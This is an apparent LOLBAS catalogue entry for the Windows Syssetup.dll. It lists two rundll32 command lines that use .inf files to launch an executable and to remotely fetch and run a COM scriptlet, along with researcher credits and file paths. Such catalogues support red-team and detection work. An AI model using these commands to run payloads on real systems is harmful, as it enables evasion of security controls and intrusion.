LOLBAS/OSLibraries/Syssetup.dll.md

Syssetup.dll

• Functions: Execute

rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\calc.INF
Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.

rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\\test\\shady.inf
Remote fetch and execute a COM Scriptlet by calling an information file directive.

• Resources:

  • https://twitter.com/pabraeken/status/994392481927258113
  • https://twitter.com/harr0ey/status/975350238184697857
  • https://twitter.com/bohops/status/975549525938135040

• Full path:

  • c:\windows\system32\Syssetup.dll
  • c:\windows\sysWOW64\Syssetup.dll

• Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (Execute), Matt harr0ey - @harr0ey (Execute), Jimmy - @bohops (COM Scriptlet)